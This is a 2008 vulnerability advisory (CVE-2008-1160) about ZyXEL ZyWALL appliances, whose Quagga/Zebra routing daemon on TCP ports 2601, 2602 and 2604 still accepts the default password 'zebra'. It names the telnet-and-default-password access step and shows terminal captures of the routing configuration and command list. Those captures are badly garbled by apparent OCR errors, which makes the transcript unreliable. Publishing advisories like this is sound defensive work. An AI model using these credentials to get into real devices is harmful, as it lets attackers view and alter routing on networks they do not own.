Name: ZyXEL ZyWALL Quagga/Zebra Remote Root Vulnerability

Release Date: 10 March 2008

Discover: Pranav Joshi <joshipranav@gmail.com>

Vendor: ZyXEL

Products Affected: ZyWALL

(Status on other affected products & firmwares pending from vendor’s end)

CVE-2008-1160
BID 28184

The vulnerability in the Quagga/Zebra routing daemon, exists due to the fact that the
appliance fails to change the password needed to login into the Quagga/Zebra daemon running
on ports 2601, 2602 (Quagga/RIP) & 2604 (Quagga/OSPF) /TCP, even though the password of
the appliance has been changed an attacker can still use the default password to log into the
Quagga/Zebra service to view and manipulate the routing information etc. of the appliance.

The vulnerability was discovered on ZyWall 1050 appliance other versions could be affected as
well.

Information on other vulnerable products and firmwares is pending from the vendor’s end.



Telnet > ZyWALL UTM on port 2601,2602 or 2604 and use the password ‘zebra’
@ -0 x|

Hello, this iz Quagga {(version @.99.2>.
Copyright 1926-2085% Kunihiro Izshiguro. et al.

Uzer ficcess Uerification

Password:

Privileged mode - Password used for the Quagga/zebra daemon is ‘zebra’.

lizer Access Uerification

zebralft shouw run

Current configuration:
¥

hostname zehbhra
jpassuword zehra
.

énterfane doll

interface eth@
ip address
¥

interface ethi

ip address
.

interface eth2
ip address
¥

interface ethl




IP Routing Table used by the Zyxel UTM.

zehrall
zehralf show zyxel ip route
IP Address-/MNetmask Gateway
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‘Configuration Terminal’ mode where F/W settings can be modified

o -[3] %]
zebraCconf ig> i
zehratconf igi i
access—l1list Add an access list entry
hanner Set hanner string
debug Debugging functions <(see also ‘undebug’?
[ ELREE Hodify enable password parameters
end End current mode and change to enahle mode.
exit Exit current mode and down to previous mode
help Description of the interactive help system
hostname Set system’s network name
interface Select an interface to configure
ip IF dinformation
line Configure a terminal line
list Print command list
log Logging control
no Hegate a command or set its defaults
password Azssign the terminal connection password
quit Exit current mode and down to previous mode
router—id Hanually set the router—id
service Set up miscellaneous seruvice
shou Show running system information
table Configure target kernel routing table
write Urite running configuration to memory,. network. or terminal
zebralconfigri
zehralconf igiit




